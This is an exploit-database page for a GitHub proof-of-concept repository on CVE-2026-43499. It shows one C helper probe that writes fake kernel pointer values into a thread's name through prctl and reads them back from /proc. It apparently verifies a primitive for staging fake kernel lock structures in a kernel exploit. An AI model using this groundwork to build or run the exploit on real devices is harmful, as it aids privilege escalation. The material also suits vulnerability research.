Exploit database

GH-14fb583d3d1bd2da10251bb1a37b93d6

gitchw/ghostlock-cve-2026-43499

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

165 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files22
gitchw/ghostlock-cve-2026-43499Revision 96acd93156f6

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

device_probe/commtest.c

C · 3,504 bytes
/* commtest.c v11-B: verify waiter-thread prctl SET_NAME byte-level.
 *
 * Zero risk: only futex + prctl + /proc readback.
 * Waiter thread sets its own comm, main reads it back byte-by-byte.
 *
 * Build: arm-linux-gnueabihf-gcc -static -O2 -pthread -Wl,-z,stacksize=16384 \
 *           -o bin/commtest commtest.c
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/prctl.h>
#include <pthread.h>
#include <sched.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/resource.h>

#ifndef FUTEX_WAIT_PRIVATE
#define FUTEX_WAIT_PRIVATE 128
#endif
#ifndef FUTEX_WAKE_PRIVATE
#define FUTEX_WAKE_PRIVATE 129
#endif
#ifndef PR_SET_NAME
#define PR_SET_NAME 15
#endif

static volatile int waiter_ready, waiter_tid;
static volatile uint32_t test_task_ptr, test_fake_lock, test_prio;

static void *waiter_thread(void *arg){
    (void)arg;
    waiter_tid = (int)syscall(SYS_gettid);
    /* waiter thread sets its own comm */
    char comm[16];
    memset(comm, 0, sizeof comm);
    memcpy(comm+0, &test_task_ptr, 4);
    memcpy(comm+4, &test_fake_lock, 4);
    memcpy(comm+8, &test_prio, 4);
    comm[12] = 0x41; comm[13] = 0x42; comm[14] = 0x43;
    /* comm[15] = 0 already from memset */
    int rc = prctl(PR_SET_NAME, comm, 0, 0, 0);
    printf("waiter prctl rc=%d tid=%d\n", rc, waiter_tid);
    waiter_ready = 1;
    /* park */
    static uint32_t park;
    struct timespec ts={60,0};
    syscall(SYS_futex,&park,FUTEX_WAIT_PRIVATE,0,&ts,0);
    for(;;) pause();
    return NULL;
}

int main(void){
    setvbuf(stdout,0,_IONBF,0);
    struct rlimit rl={65536,65536}; setrlimit(RLIMIT_NOFILE,&rl);

    /* test values */
    test_task_ptr = 0xC1BA9990u;
    test_fake_lock = 0xC1BA9A00u;
    test_prio = 120;

    printf("=== commtest v11-B ===\n");
    printf("expect: task=0x%08x lock=0x%08x prio=%d(0x%x)\n",
           test_task_ptr, test_fake_lock, test_prio, test_prio);

    pthread_t th; pthread_attr_t attr;
    pthread_attr_init(&attr); pthread_attr_setstacksize(&attr,1024*1024);
    pthread_create(&th, &attr, waiter_thread, NULL);

    while(!waiter_ready) usleep(10000);
    usleep(100000);

    /* read back waiter comm via /proc/self/task/<tid>/comm */
    char path[64];
    snprintf(path, sizeof path, "/proc/self/task/%d/comm", waiter_tid);
    char comm[16] = {0};
    int fd = open(path, O_RDONLY);
    if(fd < 0){
        printf("FAIL: open %s errno=%d\n", path, errno);
        return 2;
    }
    int n = read(fd, comm, 15);
    close(fd);
    comm[15] = 0;
    printf("read %d bytes from %s\n", n, path);
    printf("comm bytes: ");
    for(int i=0; i<15; i++) printf("%02x ", (uint8_t)comm[i]);
    printf("\n");

    /* byte-by-byte compare */
    uint8_t expect[16] = {0};
    memcpy(expect+0, &test_task_ptr, 4);
    memcpy(expect+4, &test_fake_lock, 4);
    memcpy(expect+8, &test_prio, 4);
    expect[12] = 0x41; expect[13] = 0x42; expect[14] = 0x43;
    expect[15] = 0;

    int ok = 1;
    for(int i=0; i<16; i++){
        if((uint8_t)comm[i] != expect[i]){
            printf("MISMATCH byte[%d]: got 0x%02x expect 0x%02x\n",
                   i, (uint8_t)comm[i], expect[i]);
            ok = 0;
        }
    }
    if(ok){
        printf("COMMTEST PASS: all 16 bytes match\n");
        printf("RC=0\n");
        return 0;
    } else {
        printf("COMMTEST FAIL\n");
        printf("RC=2\n");
        return 2;
    }
}